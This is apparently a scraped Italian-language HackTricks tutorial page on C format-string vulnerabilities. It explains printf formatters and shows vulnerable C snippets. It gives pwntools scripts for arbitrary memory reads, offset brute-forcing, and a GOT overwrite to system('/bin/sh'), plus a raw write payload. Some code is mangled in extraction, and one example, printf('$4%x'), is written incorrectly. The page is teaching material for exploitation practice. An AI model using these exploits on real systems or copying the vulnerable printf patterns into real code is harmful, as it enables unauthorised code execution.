.. | ||
format-strings-arbitrary-read-example.md | ||
format-strings-template.md | ||
README.md |
Format Strings
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
In C printf
è una funzione che può essere utilizzata per stampare una stringa. Il primo parametro che questa funzione si aspetta è il testo grezzo con i formattatori. I parametri seguenti attesi sono i valori da sostituire ai formattatori nel testo grezzo.
Altre funzioni vulnerabili sono sprintf()
e fprintf()
.
La vulnerabilità appare quando un testo dell'attaccante viene utilizzato come primo argomento per questa funzione. L'attaccante sarà in grado di creare un input speciale abusando delle capacità della stringa di formato printf per leggere e scrivere qualsiasi dato in qualsiasi indirizzo (leggibile/scrivibile). Essere in grado in questo modo di eseguire codice arbitrario.
Formatters:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Esempi:
- Esempio vulnerabile:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Uso Normale:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Con argomenti mancanti:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf vulnerabile:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}
Accessing Pointers
Il formato %<n>$x
, dove n
è un numero, consente di indicare a printf di selezionare il n-esimo parametro (dallo stack). Quindi, se vuoi leggere il 4° parametro dallo stack usando printf, potresti fare:
printf("%x %x %x %x")
e potresti leggere dal primo al quarto parametro.
Oppure potresti fare:
printf("$4%x")
e leggere direttamente il quarto.
Nota che l'attaccante controlla il parametro pr
intf
, il che significa fondamentalmente che** il suo input sarà nello stack quando viene chiamato printf
, il che significa che potrebbe scrivere indirizzi di memoria specifici nello stack.
{% hint style="danger" %}
Un attaccante che controlla questo input sarà in grado di aggiungere indirizzi arbitrari nello stack e far accedere printf
a essi. Nella sezione successiva verrà spiegato come utilizzare questo comportamento.
{% endhint %}
Lettura Arbitraria
È possibile utilizzare il formattatore %n$s
per far sì che printf
ottenga l'indirizzo situato nella n posizione, seguendolo e stamparlo come se fosse una stringa (stampa fino a quando non viene trovato un 0x00). Quindi, se l'indirizzo base del binario è 0x8048000
, e sappiamo che l'input dell'utente inizia nella quarta posizione nello stack, è possibile stampare l'inizio del binario con:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa sarà tagliata a 0x00 alla fine di quell'indirizzo. {% endhint %}
Trova l'offset
Per trovare l'offset per il tuo input puoi inviare 4 o 8 byte (0x41414141
) seguiti da %1$x
e aumentare il valore fino a recuperare le A's
.
Brute Force printf offset
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leakfrom pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
Start a new process of the "chall" binary
p = process("./chall")
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") break
Close the process
p.close()
</details>
### Quanto è utile
Le letture arbitrarie possono essere utili per:
* **Dump** il **binario** dalla memoria
* **Accedere a parti specifiche della memoria dove sono memorizzate informazioni sensibili** (come canarie, chiavi di crittografia o password personalizzate come in questa [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Scrittura Arbitraria**
Il formatter **`$<num>%n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** nel parametro \<num> nello stack. Se un attaccante può scrivere quanti più caratteri possibile con printf, sarà in grado di far scrivere a **`$<num>%n`** un numero arbitrario in un indirizzo arbitrario.
Fortunatamente, per scrivere il numero 9999, non è necessario aggiungere 9999 "A" all'input; per farlo è possibile utilizzare il formatter **`%.<num-write>%<num>$n`** per scrivere il numero **`<num-write>`** nell'**indirizzo puntato dalla posizione `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Tuttavia, nota che di solito per scrivere un indirizzo come 0x08049724
(che è un numero ENORME da scrivere tutto in una volta), si usa $hn
invece di $n
. Questo consente di scrivere solo 2 Byte. Pertanto, questa operazione viene eseguita due volte, una per i 2B più alti dell'indirizzo e un'altra volta per i più bassi.
Pertanto, questa vulnerabilità consente di scrivere qualsiasi cosa in qualsiasi indirizzo (scrittura arbitraria).
In questo esempio, l'obiettivo sarà sovrascrivere l'indirizzo di una funzione nella tabella GOT che verrà chiamata successivamente. Anche se questo potrebbe abusare di altre tecniche di scrittura arbitraria per exec:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
Stiamo per sovrascrivere una funzione che riceve i suoi argomenti dall'utente e puntarla alla funzione system
.
Come accennato, per scrivere l'indirizzo, di solito sono necessari 2 passaggi: prima scrivi 2Byte dell'indirizzo e poi gli altri 2. Per fare ciò si usa $hn
.
- HOB è chiamato ai 2 byte più alti dell'indirizzo
- LOB è chiamato ai 2 byte più bassi dell'indirizzo
Poi, a causa di come funziona la stringa di formato, devi scrivere prima il più piccolo di [HOB, LOB] e poi l'altro.
Se HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Se HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Modello Pwntools
Puoi trovare un modello per preparare un exploit per questo tipo di vulnerabilità in:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
O questo esempio di base da qui:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings to BOF
È possibile abusare delle azioni di scrittura di una vulnerabilità di formato stringa per scrivere negli indirizzi dello stack e sfruttare una vulnerabilità di tipo buffer overflow.
Other Examples & References
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, no relro, no canary, nx, no pie, uso base delle stringhe di formato per rivelare il flag dallo stack (non è necessario alterare il flusso di esecuzione)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, no canary, nx, no pie, stringa di formato per sovrascrivere l'indirizzo
fflush
con la funzione win (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, no canary, nx, no pie, stringa di formato per scrivere un indirizzo dentro main in
.fini_array
(così il flusso torna indietro un'altra volta) e scrivere l'indirizzo asystem
nella tabella GOT puntando astrlen
. Quando il flusso torna a main,strlen
viene eseguito con input dell'utente e puntando asystem
, eseguirà i comandi passati.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.